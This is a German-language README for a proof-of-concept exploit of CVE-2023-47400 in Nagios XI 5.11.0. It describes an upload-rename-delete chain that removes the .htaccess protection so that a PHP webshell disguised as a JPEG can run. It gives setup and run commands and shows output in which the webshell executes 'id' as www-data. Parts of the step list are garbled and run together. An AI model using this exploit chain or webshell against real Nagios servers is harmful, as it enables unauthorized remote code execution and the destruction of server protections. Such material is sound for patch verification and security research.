
Proof of Concept für die CVE-2023-47400
Proof of Concept (PoC) für CVE-2023-47400
Authentifizierte PHP-Remote-Codeausführung über beliebiges Dateischreiben auf Nagios XI 5.11.0
[!Note] Dieser PoC basiert auf dem technischen Advisory, das von der NCC Group veröffentlicht wurde https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/
Dieser PoC folgt diesem Prozess:
placeholder.jpg hoch (nur JFIF-Magie-Bytes-Header, kein Inhalt)rename-Funktion von Custom Includes, um das Bild in .htaccess umzubenennen (was dazu führt, dass die vorhandene .htaccess-Datei überschrieben wird)delete-Funktion von Custom Includes, um die .htaccess-Datei zu löschen.jpg.php)Die Ausnutzung dieser Schwachstelle führt zur Remote-Codeausführung auf dem NagiosXI-Host, wobei die Datei-Upload-Filter (über Dateisignatur- und Dateierweiterungsfilter) und die PHP-Ausführungsverhinderung (über ) umgangen werden.
.htaccess[!Warning] Dieser Exploit löscht die Datei
<NAGIOS_WEB_ROOT>/includes/components/custom-includes/images/.htaccess, die auf dem Host vorhanden ist, um die PHP-Codeausführung zu ermöglichen!
# create a venv to dependency isolation
python3 -m venv .venv
source .venv/bin/activate
# run pip install before running the exploit
pip install -r requirements.txt
Passe das PHP-Payload an, das im Bilder-Upload-Ordner abgelegt werden soll
Führe das Exploit-Skript aus:
python exploit.py
# the exploit generates a webshell and upload it with uuid as filename
[...]
INFO:cve_2023_47400:Successfuly uploaded payload at
INFO:cve_2023_47400:Usage :https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php
INFO:cve_2023_47400:Exploit completed successfuly
$ curl -k 'https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php?cmd=id' --output -
JFIF
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(Debian-snmp),1001(nagios),1002(nagcmd)